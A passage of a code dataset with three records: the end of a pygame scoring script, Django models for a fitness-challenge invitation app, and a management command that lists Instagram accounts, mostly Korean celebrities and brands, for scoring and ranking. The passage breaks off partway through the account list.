      for i in range(4):\n                draw_score(screen, i, val=liste_score[i], is_on=liste_on[i])\n        \n    pygame.display.update()  # Or pygame.display.flip()","repo_name":"Tuxae/QPUC","sub_path":"9-points.py","file_name":"9-points.py","file_ext":"py","file_size_in_byte":7349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32349343009","text":"\nfrom django.db import models\nfrom django.urls import reverse\nfrom django.utils.timezone import now\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.core.exceptions import ValidationError\nfrom django.db.models import Sum\n\nfrom users.models import My_custom_user\nfrom users.models import My_custom_user\n\n\n# Create your models here.\n\nclass Challenge(models.Model):\n    \"\"\"Allow users to compete against other users for a time period, over a specific health catagory.\n    \n    Args:\n        challenge_health_field_choices(list of tuples): options for health catagories\n        title(str): title of the challenge\n        participants(M2M): database of users that have accepted the related challenge invitation\n        invitations(FK object): related invitation object for each challenge\n        start_Date(DateTime): Start date of the challenge\n        end_date(DateTime): End date of the challenge \n        challenge_health_field(str): A single challenge health field that users compete for points over\n  \n    \"\"\"\n    challenge_health_field_choices = [\n        ('sleep_points', 'Sleep'),('water_points', 'Water'), \n        ('clean_eating_points', 'Clean Eating'), ('step_points', 'Steps'),\n        ('total_points', 'Total Points'),('workout_points', 'Workout')]\n\n    title = models.CharField(max_length=100)\n    participants = models.ManyToManyField(\n        'users.My_custom_user', related_name='challenges', blank=True)\n    invitations = models.ForeignKey(\n        'Invitation_to_challenge', on_delete= models.CASCADE,\n         null=True, blank=True)\n    start_date = models.DateField(\n        default=now, editable=True, help_text='year-month-day')\n    end_date = models.DateField(\n        default=now, editable=True, help_text='year-month-day')\n    challenge_health_field = models.CharField(\n        max_length=10000, choices=challenge_health_field_choices, default='total_points')\n\n    def __str__(self):\n        return self.title\n\n\nclass Invitation_to_challenge(models.Model):\n    \"\"\"Invitation to a challenge send to users to be accepted or rejected.\n    \n    Args:\n        challenge_health_field_choices(list of tuples): options for health catagories\n        start_Date(DateTime): Start date of the challenge\n        end_date(DateTime): End date of the challenge \n        invitees(M2M): database of users that have been sent an invitation\n        invitor_user_model(FK obj): User obj who has created and sent out the invitation\n        user_name_of_invitor(str): Username of the invitor\n        title(str): title of the invitation/challenge\n\n    \"\"\"\n\n    challenge_health_field_choices = [\n        ('sleep_points', 'Sleep'), ('water_points', 'Water'), \n        ('clean_eating_points' ,'Clean Eating'), ('step_points', 'Steps'),\n        ('total_points', 'Total Points'),('workout_points', 'Workout')]\n\n    start_date = models.DateField(\n        default=now, editable=True, help_text='year-month-day')\n    end_date = models.DateField(\n        default=now, editable=True, help_text='year-month-day')\n    challenge_health_field = models.CharField(\n        max_length=10000, choices=challenge_health_field_choices,\n        default='total_points')\n    invitees = models.ManyToManyField(\n        'users.My_custom_user', through='Invitation_status',\n        related_name='Invitation',\n        help_text='invite as many people to the challenge!')\n    invitor_user_model = models.ForeignKey(\n        'users.My_custom_user', on_delete=models.CASCADE,\n         null=True, blank=True) # set this automatically \n    username_of_invitor = models.CharField(\n        max_length=100, null=True, blank=True)\n    title=models.CharField(max_length=200)\n    \n    def invitor_username(self):\n        \"\"\"Get and return Invitation to challenges creator's username.\n        \n        Args:\n            this_user_model_id(str): id of the user model\n            invitor_user_model_obj(obj): user model object of the invitation invitor\n            invitor_username(str): username of the invitor\n\n        \"\"\"\n        this_user_model_id  = str(self.invitor_user_model.id)\n        invitor_user_model_obj = My_custom_user.objects.get(id='this_user_model_id')\n        invitor_username = str(invitor_user_model_obj.username)\n        return invitor_username\n\n    def create_challenge(self):\n        \"\"\"Create and return a challenge object from the invitation arguments.\n        \n        Args:\n            this_invitation(obj): invitation object \n            challenge_created(obj): newly created challenge object\n\n        \"\"\"\n        this_invitation = Invitation_to_challenge.objects.get(id = self.id)\n        challenge_created = Challenge.objects.create(title=self.title, \n            invitations=this_invitation, start_date=self.start_date, \n            end_date=self.end_date, \n            challenge_health_field=self.challenge_health_field)\n        return challenge_created\n\n    def create_invitor_status_accepted(self):  # believe i can delete this func\n        \"\"\" Add the creator of the invitation as someone who recieved an invitation.\n        \n        Args:\n            this_user_model_id(str): id of the invitor's user object\n            invitor_user_model_obj(obj): invitor's user object\n            this_invitation(obj): current invitation object\n            \n         \"\"\"\n        this_user_model_id  = str(self.invitor_user_model.id)\n        invitor_user_model_obj = My_custom_user.objects.get(id=this_user_model_id)\n        # get this invitation in updatable add form\n        this_invitation = Invitation_to_challenge.objects.get(id=self.id)\n        this_invitation.Invitation.add(invitor_user_model_obj) \n\n    def convert_field_name_to_readable_field_name(self):\n        \"\"\"return a more readable version of the health_field\"\"\"\n        \n        return(dict(self.challenge_health_field_choices).get(self.challenge_health_field))\n\n    def save(self, *args, **kwargs):\n        \"\"\" save the invitation object,after create a corresponding challenge obj.\n\n        As well add the creator of the invitation as a participant of the challenge.\n        \n        Args:\n            challenge_created(obj): challenge object that corresponds to this invitation object\n            \n        \"\"\"\n        is_new = True if not self.id else False # https://stackoverflow.com/questions/28264653/how-create-new-object-automatically-after-creating-other-object-in-django\n        super(Invitation_to_challenge, self).save(*args, **kwargs)\n        if is_new:\n            # after invitation is made\n            challenge_created = self.create_challenge()\n            # then add the participants \n            # have to use the custom through model Invitation_status\n            challenge_created.participants.add(self.invitor_user_model)\n\n            # add the invitor to the challenges_invitation_status\n\n    def __str__(self):\n        return self.title\n\nclass Invitation_status(models.Model):\n    \"\"\"Through model for each invitation that contains the status of each invitation.\n    \n    Args:\n        idle(str): status that the invitation to the challenge has not been accepted or rejected\n        accepted(str): status that the invitation to the challenge has been accepted\n        rejected(str): status that the invitation to the challenge has been rejected\n        status_options(lst):: list of choices for the invitation status\n        invitation(obj): Invitation object\n        invitee(obj): User object that has been invited to the challenge, and recieved an invitation\n        status(str): Status of the invitation to the challenge, accepted, rejected, or idle\n\n    \"\"\"\n    # the throughh model for Invitation_to_challenge_invitees \n    # this way for each invitation to every user, we can see if they accept, deny or its idle \n\n    idle = 'idle'\n    accepted = 'accepted'\n    rejected = 'rejected'\n    status_options = [(idle, 'idle'), (accepted, 'accepted'), (rejected, 'rejected')]\n    invitation = models.ForeignKey(\n        'Invitation_to_challenge', on_delete=models.SET_NULL,\n        null=True, blank=True)\n    invitee = models.ForeignKey(\n        'users.My_custom_user', on_delete=models.SET_NULL,\n        null=True, blank=True)\n    status = models.CharField(\n        max_length=100, choices=status_options, default=idle  )\n\n    def set_status_accepted(self): # beleive it is not used, can delete\n        \"\"\"Set this objects status to accepted.\n    \n        Args:\n            this_invitation_status_model_obj(obj): this invitation_status object in updateable form\n        \n        \"\"\"\n        this_invitation_status_model_obj = Invitation_status.objects.filter(id=self.id)\n        this_invitation_status_model_obj.update(status=accepted)\n\n\n  ","repo_name":"Jwyman328/fitness_app","sub_path":"challenges/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25993386805","text":"from django.core.management import BaseCommand\nfrom report.models.report import *\nfrom instagram_score.models import Userinfo, Scorev1\nimport requests, traceback\nimport time\nfrom statistics import fmean\nfrom report.make_stat import make_status_ig_user, rank_ig_user\nfrom component.views import classifier_user\nclass Command(BaseCommand):\n    def handle(self, *args, **options):\n\n        # input_users = IGUserInfo.objects.order_by('?').all().values_list('username', 'pk')\n        \n        # rank_users = []\n        # for username, insta_pk in input_users:\n        #     try:\n        #         make_status_ig_user(username, insta_pk)\n        #         rank_ig_user(insta_pk)\n        #     except:\n        #         print(traceback.format_exc())\n\n\n        #Top 1000\n        input_users = [\n            # 'jennierubyjane',\n            # 'bts.bighitofficial',\n            # 'roses_are_rosie',\n            # 'sooyaaa__',\n            # 'blackpinkofficial',\n            # 'adidas',\n            # 'actorleeminho',\n            # 'jacksonwang852g7',\n            # 'eunwo.o_c',\n            # 'oohsehun',\n            # 'dlwlrma',\n            # 'baekhyunee_exo',\n            # 'xxxibgdrgn',\n            # 'jongsuk0206',\n            # 'twicetagram',\n            # 'bn_sj2013',\n            # 'jichangwook',\n            # 'taeyeon_ss',\n            # 'skuukzky',\n            # 'hyunah_aa',\n            # 'skawngur',\n            # 'realstraykids',\n            #### 'layzhang',\n            # 'bighit_ent',\n            # 'heybiblee',\n            # 'zkdlin',\n            # 'yoona__lim',\n            ###'choi_seung_hyun_tttop',\n            # 'smtown',\n            # '_imyour_joy',\n            # 'ssinz7',\n            # '__youngbae__',\n            # 'kyo1122',\n            # 'nct127',\n            # 'wow_kimsohyun',\n            # 'soohyun_k216',\n            # 'nct',\n            # 'itzy.all.in.us',\n            # 'taehyung.bighitentertainment',\n            # 'marktuan',\n            # 'leedongwook_official',\n            # 'jungkook_bighitentertainment',\n            # 'lucas_xx444',\n            # 'hi_high_hiy',\n            # 'yu_gyeom',\n            # 'redvelvet.smtown',\n            # 'tiffanyyoungofficial',\n            # 'hi_sseulgi',\n            # 'jimin_bighitentertainment',\n            # 'somsomi0309',\n            # 'songkang_b',\n            # 'jessica.syj',\n            # 'vousmevoyez',\n            # 'koreadispatch',\n            # 'daraxxi',\n            # 'kimjuncotton',\n            # 'jin_bighitentertainment',\n            # 'txt_bighit',\n            # 'jhope_bighitentertainment',\n            # 'rm_bighitentertainment',\n            # 'mejiwoo103',\n            # 'suga_bighitentertainment',\n            # 'chaelincl',\n            # 'jinyoung_0922jy',\n            # 'rachel_mypark',\n            # '_jeongjaehyun',\n            # 'bts.jungkook',\n            # 'bumkeyk',\n            # 'yerimiese',\n            # 'henryl89',\n            # 'renebaebae',\n            # 'tenlee_1001',\n            # 'saythename_17',\n            # 'siwonchoi',\n            # 'seungriseyo',\n            # 'do0_nct',\n            # 'jessicah_o',\n            # 'btsjimin',\n            # 'e_xiu_o',\n            # 'nct_dream',\n            # 'bts.world.official',\n            # 'ponysmakeup',\n            # 'bts.world.official',\n            # 'miyayeah',\n            # 'got7.with.igot7',\n            # 'btstae',\n            # 'm_kayoung',\n            # 'mamamoo_official',\n            # 'na.jaemin0813',\n            # 'phs1116',\n            # '_mariahwasa',\n            # 'seojuhyun_s',\n            # 'johnnyjsuh',\n            # 'leedonghae',\n            # 'official_g_i_dle',\n            # 'geewonii',\n            # 'jelly_jilli',\n            # 'onyourm__ark',\n            # 'jin.bts',\n            # 'bts_v',\n            # 'sooyoungchoi',\n            # 'bts_jhope',\n            # 'taeoxo_nct',\n            # 'jaybnow.hr',\n            # 'hyeri_0609',\n            # 'realllllmino',\n            # 'yesung1106',\n            # 'bt21_official',\n            # 'official_monsta_x',\n            # 'btsnamjoon',\n            # 'actor_jg',\n            # 'yulyulk',\n            # 'hyoyeon_x_x',\n            # 'wwiinn_7',\n            # 'kimheenim',\n            # 'seonho__kim',\n            # 'jparkitrighthere',\n            # 'lm_____ltm',\n            # 'superm',\n            # 'yangyang_x2',\n            # 'chungha_official',\n            # 'actor_jisoo',\n            # 'holyhaein',\n            # 'hm_son7',\n            # 'xxteukxx',\n            # 'aespa_official',\n            # 'ateez_official_',\n            # '515sunnyday',\n            # 'todayis_wendy',\n            # 'you_r_love',\n            # 'yejinhand',\n            # 'xeesoxee',\n            # 'min9yu_k',\n            # 'masijacoke850714',\n            # 'shinee',\n            # 'woozico0914',\n            # 'ahnhani_92',\n            # 'ldh_sky',\n            # 'daniel.k.here',\n            # 'ggonekim',\n            # 'mo_onbyul',\n            # 'wonhari',\n            # 'deejaysoda',\n            # 'wdohwan',\n            # 'jimin',\n            # 'bts0fficial',\n            # 'officialastro',\n            # 'jypentertainment',\n            # 'yeojin9oo',\n            # 'k.kbeom',\n            # 'seokj1012',\n            # 'official_lai_kuanlin',\n            # 'btssuga',\n            # 'bts.suga',\n            # 'yg_treasure_official',\n            # 'withikonic',\n            # 'xuminghao_o',\n            # 'youngdae0302',\n            # 'yellow_3to3',\n            # 'shxxbi131',\n            # 'hyojong_1994',\n            # 'leeseunggi.official',\n            # 'jiyeon2__',\n            # '0529.jihoon.ig',\n            # 'ewsbdi',\n            # 'quanhaha79',\n            # 'kjk76',\n            # 'ericnam',\n            # 'optimushwang',\n            # 'osw_onge',\n            # 'boakwon',\n            # 'my_songjihyo',\n            # 'borabora_sugar',\n            'yook_can_do_it',\n            'ryusdb',\n            'minah320_97',\n            'jxxvvxxk',\n            'gfriendofficial',\n            'youna_1997',\n            'juanxkui',\n            'hellopapa11',\n            'sh_9513',\n            'official_kard',\n            'bobbyindaeyo',\n            'joshu_acoustic',\n            'leehi_hi',\n            'wannaone.official',\n            'aagbanjh',\n            'imhyoseop',\n            'kim_msl',\n            'marcellasne_',\n            'juneeeeeeya',\n            'pledis_boos',\n            'kwakdongyeon0',\n            '_minzy_mz',\n            'jin_a_nana',\n            'chwenotchew',\n            'clean_0828',\n            'seo_cccc',\n            'tvndrama.official',\n            'arden_cho',\n            'ron_sae',\n            'sjkuksee',\n            'jilwww',\n            'mr_kanggun',\n            'mo.on_air',\n            'xhyolynx',\n            'moon_ko_ng',\n            'hye_yoon1110',\n            '1004yul_i',\n            'gnani_____',\n            'rain_oppa',\n            'dlstmxkakwldrl',\n            'bts.bighit.__',\n            'leejungshin91',\n            'y_haa.n',\n            'w_n_r00',\n            'leesiyoung38',\n            'ddana_yoon',\n            'chang._.a',\n            'blobyblo',\n            'bigmatthewww',\n            'callmegray',\n            'bighit7official',\n            'akmu_suhyun',\n            'hyominnn',\n            'ohvely22',\n            'zennyrt',\n            'woozi_universefactory',\n            'minhyuk202523',\n            'rovvxhyo',\n            'sbs_runningman_sbs',\n            'sound_of_coups',\n            'jungkookbts',\n            'jungkook_forever',\n            'inkyung97',\n            'leesoohyuk',\n            'earlyboysd',\n            'official_everglow',\n            'shinhs831',\n            'jyheffect0622',\n            'smtownandstore',\n            'songilkook',\n            'sssong_yh',\n            'official_theboyz',\n            'voguekorea',\n            'jeeseokjin',\n            'i_icaruswalks',\n            'actor_jingoo',\n            'chan_w000',\n            'day6kilogram',\n            'choiminho_1209',\n            'momoland_official',\n            'netflixkr',\n            'soooo_you',\n            'elina_4_22',\n            'crush9244',\n            '____kimwoobin',\n            'cube_ptg',\n            'ireneisgood',\n            'ast_jinjin',\n            '_dong_ii',\n            'd_a___m_i',\n            'han_ye_seul_',\n            'illusomina',\n            'overdokyungsoo',\n            'artist_eunji',\n            'mj_7.7.7',\n            'ncit_kimjw',\n            'skullhong12',\n            'blackpinkcofficial',\n            'samuliesword',\n            'hihyunwoo',\n            'solarkeem',\n            'newharoobompark',\n            'kumajaewoo',\n            'bts__jungk00k',\n            'sambahong',\n            'whee_inthemood',\n            'hanjiji54',\n            'hongsick',\n            'j_chaeyeoni',\n            'hyorin_min',\n            'somin_jeon0822',\n            'loonatheworld',\n            'heizeheize',\n            'iammingki',\n            '_zziwooo0',\n            'marieclairekorea',\n            'yunho2154',\n            'taecyeonokay',\n            'betterlee_0824',\n            'bts.0fficials',\n            'goyounjung',\n            'ellekorea',\n            'kookoo900',\n            'awesomehaeun',\n            'dntlrdl',\n            'e.jiah',\n            'dahee0315',\n            're_mini_scene',\n            'jaehwan0527',\n            'satgotloco',\n            'maetamong',\n            'jj_1986_jj',\n            'yg_ent_official',\n            'ziont',\n            'real.be',\n            'hyunjoong860606',\n            'yoo_yeonseok',\n            'kim_d.he',\n            'hjonghyun',\n            'candyseul',\n            'deantrbl',\n            'gyuram88',\n            'wooju1025',\n            'yura_936',\n            '_yoonj1sung_',\n            'changmin88',\n            'taeri__taeri',\n            'jinyoung0423',\n            '2km2km',\n            'imjennim',\n            'k_hanna_',\n            'nancyjewel_mcdonie_',\n            'cxxsomi',\n            'j.seph_',\n            'kimyk10',\n            'gooreumseng',\n            '__shinyeeun',\n            'somin_jj',\n            'le2jh',\n            'xxjjjwww',\n            'longlivesmdc',\n            'official_jimiin',\n            'ravithecrackkidz',\n            'sunghoon1983',\n            'tabloisdad',\n            'eugene810303',\n            'sodam_park_0908',\n            'hutazone',\n            'kimminkyu_0312',\n            'hanhyojoo222',\n            'labels.hybe',\n            'eajpark',\n            'jiminxjamie',\n            'ab6ix_official',\n            'bohyunahn',\n            'official_oneus',\n            '42psy42',\n            'winnercity',\n            'koohara__',\n            'hermosavidaluna',\n            'williamhammington',\n            'chengxiao_0715',\n            'meow91__',\n            'sonsungdeuk',\n            'dj_gpark',\n            'bts.7',\n            'achahakyeon',\n            'aileeonline',\n            'honey_lee32',\n            'kbsdrama',\n            'susemee',\n            'stylenanda_korea',\n            'komurola',\n            'sysysy1102',\n            'for_everyoung10',\n            'melovemealot',\n            'inhyuk_bb',\n            'parkb0gum',\n            'nwh91',\n            'w_o_o_y_a',\n            '3.48kg',\n            'jinmiran_',\n            'woo.ddadda',\n            'lavieenbluu',\n            'woodz_dnwm',\n            'soominn_jo',\n            'b__yccn',\n            'dk_is_dokyeom',\n            'produce_x_101',\n            'btsjungk00kie',\n            'justin_jisung',\n            'zzyuridayo',\n            'khunsta0624',\n            'yooranna',\n            '0myoung_0526',\n            'yoanaloves',\n            'akmuchanhk',\n            '_____silverstone_____',\n            'cookat_korea',\n            'parkhaejin_official',\n            'lafilledhiver_',\n            'imnameim',\n            'dlehdgnl',\n            'kanginnim',\n            'yute_v',\n            'wm_ohmygirl',\n            'bentleyhammington',\n            'kimwon.pil',\n            'kasper0524',\n            'yubi_190',\n            'aksakfn12',\n            'glorypath',\n            'boyoung0212_official',\n            'taeuniverse',\n            'yookihhh',\n            'nayoungkeem',\n            'dbqudwo333',\n            'yuqisong.923',\n            'bbang_93',\n            'roma.emo',\n            'jeonghaniyoo_n',\n            'mrs_macarons',\n            'actorctj',\n            'kim_bora95',\n            'pyojihoon_official',\n            'mingi_1122',\n            'todayhouse',\n            'soobinms',\n            'ye._.vely618',\n            'every__nn',\n            'from_youngk',\n            'hyukoh2000',\n            'kyj._.95',\n            'jeonghwa_0508',\n            'ara_go_0211',\n            'blackpinks',\n            'jeonjungkook__bts',\n            'cix.official',\n            'yysbeast',\n            'souththth',\n            'jsomin86',\n            'everyone_woo',\n            'holly608',\n            'jeon.yeobeen',\n            'min.nicha',\n            '2xj_hee',\n            'pockyjr',\n            'rlo.ldl',\n            'youngji_02',\n            'hv_nara',\n            'kwon_jo',\n            'hyuniiiiiii_95917',\n            'yoonjujang',\n            'minn.__.ju',\n            'sangyeob',\n            'ddablue',\n            'd.ddablue',\n            'girlsgeneration',\n            'gominsi',\n            'nuest_official',\n            'doflwl',\n            'chaileeson',\n            'travelholic_insta',\n            'leo_jungtw',\n            'yu.n_wk',\n            'hyemhyemu',\n            'moonjaein',\n            'eden_table',\n            'btobpeniel',\n            'boram__jj',\n            'gojoonhee',\n            'vely.mom',\n            'xodambi',\n            '_yujin_an',\n            '_happiness_o',\n            'pyoapple',\n            'ummmmm_j.i',\n            'onedayxne',\n            'min_namkoong',\n            'cravity_official',\n            'soul.g_heo',\n            'official.apink2011',\n            'jstar_allallj',\n            'sunbin_eyesmag',\n            'official_a.c.e7',\n            'mcnd_official',\n            'prince_kwanghee',\n            'etudeofficial',\n            'kkachi99',\n            'mjbaby0203',\n            's911010',\n            'bscenez',\n            'bitnara1105',\n            'bts.0fficail',\n            'exidofficial',\n            'sora_pppp',\n            'hyeliniseo',\n            'kimdwan_',\n            'aomgofficial',\n            'songseungheon1005',\n            'btob_silver_light',\n            'hwa.min',\n            '_______youngmoney',\n            'cube_clc_official',\n            'smtownstation',\n            'jungkookjeon7',\n            'liakimhappy',\n            'gookju',\n            'mingue.k',\n            'ljh_babysun',\n            '10000recipe',\n            'xxadoraa',\n            'mulgokizary',\n            'dprlive',\n            'vixx_stargram',\n            'ho5hi_kwon',\n            'jtbcdrama',\n            'haneulina',\n            'yuuzth',\n            'som0506',\n            'real_jinhyuk',\n            'kjh_official',\n            'x_xellybabyx',\n            'yim_siwang',\n            'wjsn_cosmic',\n            'deukie_______',\n            'bk_arta',\n            'kanggary_yangban',\n            'moonjungwon',\n            'hyun.jxx0_p',\n            'modelhanhyejin',\n            'giriboy91',\n            'vliveofficial',\n            'dok2gonzo',\n            'jangsk83',\n            'noodle.zip',\n            'madongseok_',\n            'ff0427',\n            'dispatch_style',\n            'holland_vvv',\n            'demi_kimee',\n            'jaeuck.kim',\n            'yeh.shaa_',\n            'reveramess_',\n            '_ohhayoung_',\n            'risabae_art',\n            'officialfromis_9',\n            'ryuniverse328',\n            'realisshoman',\n            'jrjswn',\n            'jihye8024',\n            'ohttomom',\n            'chaestival_',\n            'silver_rain.__',\n            'jungeum84',\n            'kopular',\n            'lee_cs_btob',\n            'taehyuntxt_official',\n            'park_yury',\n            'tiny.pretty.j',\n            'tiny.pretty.j',\n            '_chaechae_1',\n            '__yoonbomi__',\n            'shownuayo',\n            'ysh6834',\n            'vtcosmetics_official',\n            'lee_si_eon',\n            'imhyunsik',\n            'wanna._b',\n            'hazzisss',\n            'c_chani_i',\n            'hongsuzu',\n            'soobin1119',\n            'dbeoddl__',\n            'woooojin0408',\n            'yujin_so',\n            'innisfreeofficial',\n            'leejehoon_official',\n            'beatburgerjae',\n            'greedeat',\n            'iu_leejieun516',\n            'yena.jigumina',\n            'doonabae',\n            'shinee_jp_official',\n            'henn_kim',\n            'baebaealice',\n            'don9_han',\n            'chaejh_',\n            'sbsnow_insta',\n            'bts.jungkookt',\n            'jinjoo1224',\n            'ggumigi',\n            'eunjung.hahm',\n            'y.na__',\n            'jeee622',\n            'kimbutter_daddy',\n            'taeyang_0228',\n            'kisy0729',\n            'yoo__sha',\n            'kookies_luv',\n            '216jung',\n            'bts.bang1an',\n            'tobenstagram',\n            'sarangdungy',\n            'leeminho_mino',\n            'bemy_rin',\n            'changmo_',\n            'socun89',\n            '2ah.in',\n            '_weeekly',\n            'beautyplmagazine',\n            'type4graphic',\n            'knhs2',\n            'slowswan',\n            'kangmeen',\n            'ph1boyyy',\n            'sejinming',\n            'manyo_yoojin',\n            'gu9udan',\n            '0seungyeon',\n            'byzelo',\n            'mayj517',\n            'gentlemonster',\n            'kkmmmkk',\n            'bangstergram',\n            'ophen28',\n            '1995.mj',\n            'mbcdrama_now',\n            'bts',\n            'nuestaron',\n            'tae_rii_',\n            'jungkookjeon',\n            's_sohye',\n            'ch_amii',\n            'zo__glasss',\n            'insight.co.kr',\n            'jane.asmr',\n            'jfla',\n            'official_sunmi',\n            'yebin__',\n            'official_jdh',\n            'jang.doyoun',\n            'khxxn_',\n            'woohye0n',\n            'coenffl',\n            'luvlk89',\n            'junha0465',\n            'tvxq.official',\n            'ssozi_sojin',\n            'chosaeho',\n            'billboard_korea',\n            'yerin_the_genuine',\n            'bewhy.meshasoulja',\n            'official_therose',\n            'hyun_woo_tv',\n            '__leeheeeun__',\n            'han_kyung__',\n            'gini_s2_',\n            'young_g_hur',\n            'kevinwoo_official',\n            'nail_unistella',\n            'yangse2848',\n            'thequiett',\n            'vivamoon',\n            'jimincut',\n            'official.hasungwoon',\n            'nakedbibi',\n            'danielhenney',\n            'yoonjongactor_official',\n            'hhy6588',\n            'shinhancard_official',\n            'namdareum_mom',\n            'jungdabiny',\n            'seojin_ban',\n            'dei8ht',\n            'stephanielee199',\n            'bn_95819',\n            'bn_95819',\n            'mixxmix_seoul',\n            'zipcy',\n            'cs__min',\n            '4000man_',\n            'leetaehwan0221',\n            'leetaehwan0221',\n            '_choiiii__',\n            'yj_loves',\n            'weki_meki',\n            'djjina_official',\n            'kim.tae95bts',\n            'got7updates_',\n            'estapramanita',\n            'ulael_',\n            'yunakim',\n            'zzangjeolmi',\n            'fila_korea',\n            '_angel_elijah_',\n            'rh_ab',\n            'lilyiu_',\n            'gyeongree',\n            'therealminnn',\n            'gyeongree',\n            'kbsworldtv',\n            'nam_yoonsu',\n            'imvely_jihyun',\n            'code_kunst',\n            'kieunse',\n            'ssoheean',\n            'bts.taehyung',\n            '_taeyeonfanpage',\n            'seungwon_jeong',\n            '0__0man',\n            'hanna91914',\n            'lovelyjoohee',\n            'dj_siena',\n            'jun._.0512',\n            'superstar_jhs',\n            'tvn_joy',\n            'candyz_hyojung',\n            'jypactors_official',\n            'younghotyellow94',\n            'dindinem',\n            'tojws',\n            'munchinthepool',\n            '_kimjaekyung_',\n            'kongkong2_kim',\n            'dengdeng_e',\n            'subinyu1106',\n            'ssoyang84',\n            'samhammington',\n            'naturerepublic_kr',\n            '_minjukim_',\n            'suminzz',\n            'dxhxnxe',\n            'qtfreet',\n            'exo',\n            'lovely.katie.k',\n            'kto940620',\n            'keykney',\n            'woo_o9o',\n            'yoon_ambush',\n            'kkamooong',\n            'cube_official_btob',\n            '1993kg',\n            'cherrybullet',\n            'designdain',\n            'tangle_mimi',\n            'thebangtanboy.bts',\n            'emartstore',\n            'ttokkii',\n            'jiyeon.s_0',\n            'bts_0fficail',\n            '10042n00',\n            'ssaaaann__22',\n            'kkwonsso_94',\n            'yg_kplus',\n            'banyoonhee',\n            'sola5532',\n            'chloelxxlxx',\n            'dongdong810',\n            'sooviin38',\n            'seola_s',\n            'bimil_jieun',\n            'godjp',\n            'lloveeely',\n            'taekook.tv',\n            'l_hajoon',\n            'super_d.j',\n            'super_d.j',\n            'soltattoo',\n            'for_gomroni_',\n            '_____jjh',\n            'clorlk',\n            'hyunheehong',\n            'ash.island',\n            'thousand_wooo',\n            'the_verivery',\n            '_liustudio_',\n            'byeonwooseok',\n            'd.of.j.c',\n            'park_bosung',\n            'uyj__0803',\n            'sunmiub',\n            'jung.y00n',\n            'kaijexo',\n            'kimehwa',\n            'bh_bts7',\n            'rkm0855',\n            'yyyyeeun',\n            'chulsoon_official',\n            'ssss3063',\n            'kimheebibi',\n            'supermom_sujin',\n            'r_yuhyeju',\n            'official_gncd11',\n            'leejongsuky',\n            'seonkyounglongest',\n            'taevin.lee',\n            'amourfor_u',\n            'jungnam_bae',\n            'lee____bora',\n            'innisfree.instalog',\n            'j_oo.e_0en',\n            'se7enofficial',\n            'h1ghrmusic',\n            'itsjustswings',\n            'yjiinp',\n            '__chommy',\n            'eeunseo._.v',\n            'melodysoyani',\n            'do.hyeon_im',\n            'oneroom.make',\n            'mgain83',\n            '_seong_hee',\n            'choehyeokgeun',\n            'got7_fanclub',\n            'joohoneywalker',\n            'hyo_joo',\n            'oxxooi',\n            'syv0428',\n            'superb_ean',\n            'fashionandstyle.official',\n            'hunter.kang',\n            'shin_sung_rok',\n            'garin_ss',\n            'damikwon_',\n            'yoonhyunmin',\n            'dglee20',\n            'official_yooseonho',\n            'lsod.d',\n            'yjaybaby',\n            'jupppal',\n            'sung_yuri_',\n            'jess.02.23',\n            'junghyesung91',\n            'chanmi_96a',\n            'dlgofl85',\n            'peripera_official',\n            'bangtanparkjimin',\n            'cindynoona',\n            'cu_official',\n            'chuu_official',\n            'exy_s2',\n            'eatmother',\n            'grim_b',\n            'hello_dongwon',\n            'babebani',\n            'saico0111',\n            'kjjzz87',\n            'h1003141592',\n            'ukiss_jun97',\n            'seyoung_10',\n            '_asia_prince_jks',\n            'clio_official',\n            'daxbin',\n            'dasom_lovely',\n            'hsh0705',\n            'heeae_official',\n            'zihwa_tattooer',\n            'real_2pmstagram',\n            'lalalalisa_ma',\n            'z_hera',\n            '92_hyungseok',\n            'mlnhe',\n            'tt_trend',\n            'playlist_studio',\n            'wonlog',\n            'braveg_yj',\n            '94_j.a',\n            'minyoung_aori',\n            'jinwoon52',\n            'giantpengsoo',\n            'chaelisa.area',\n            'leanavvab',\n            'bts7_txt',\n            'kidcozyboy',\n            'yjoo_oh',\n            'pigmong___',\n            'r0s8y_',\n            'oddhw',\n            'ggulhouse',\n            'moonjongyeup',\n            '_maoi_yua_hyun_',\n            'mayersung',\n            'oliveyoung_official',\n            'btsjungkooki_',\n            'sungcheol2',\n            'baroganatanatda',\n            'k_jenny_k',\n            'ahoi_ing',\n            'chungjizzle',\n            'foodyinkorea',\n            'aahnjaehong',\n            'yoojunglee11',\n            'jiyoon_park_',\n            'saegeemtattoo',\n            'nana.un',\n            'nayoung_lim95',\n            'ssovely1024',\n            'sungziyoung',\n            'euddeume_',\n            'noahmik',\n            'leechungah',\n            'theeasychan',\n            'midorithais',\n            'hyesuuuuuya',\n            'pkalbum',\n            'a12486',\n            'joowon.unnie',\n            'ayeoniiiiii',\n            'hajunn_mom',\n            'thesy88',\n            'han_bling_',\n            'highcutstar',\n            'cog.j_92',\n            'ch.yoooon',\n            'jihoa_f',\n            'yn_s_1230',\n            'jinkyung3_3',\n            'xiaxiaxia1215',\n            'n.d.kim',\n            'cook_and_candle',\n            'gunheenim',\n            '7elevenkorea',\n            'luv__ribbon',\n            'hyunbeenshin',\n            'englishforkorean',\n            'yoonara_mood',\n            'tv_blackpink',\n            'lisablackspink',\n            'callmenahna',\n            '___solvely___',\n            'ttovely__',\n            'lee_mido',\n            'hehehe0',\n            'jeong.woo.joo',\n            'wg_lim',\n            'kisum0120',\n            'j_10.2_76',\n            'woooozzzzz',\n            'officialc9ent',\n            'ioi_official_ig',\n            'frombeginning_',\n            'cheap_box',\n            'jye._.e',\n            'xxjominxx',\n            'koreanenglishman',\n            'haseokjin',\n            'boori_boo',\n            'official_lvlz8_',\n            'seon_uoo',\n            'mido_ring',\n            'faker',\n            '131moon_',\n            'dear.zia',\n            'hatfelt',\n            'dayomi99',\n            'jtbc.insta',\n            'nizinanjjang',\n            'yoonmida',\n            'khmnim1513',\n            'soonmoo_cat',\n            '8eomatom',\n            'ivenoven',\n            '2__yun__2',\n            'btsjungkook.97',\n            '_eunz1nara_',\n            'ssung916',\n            'graziakorea',\n            'converse_kr',\n            'on_do__',\n            'yeonions',\n            'subsubey',\n            'bts._.7boys',\n            'jaelim_song',\n            'im_hyeonzzu',\n            'hazelnut_dog',\n            'moonheeyul',\n            